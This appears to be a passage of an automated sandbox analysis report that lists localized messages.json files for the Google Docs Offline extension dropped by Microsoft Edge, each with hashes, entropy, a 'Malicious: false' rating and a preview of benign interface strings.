SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
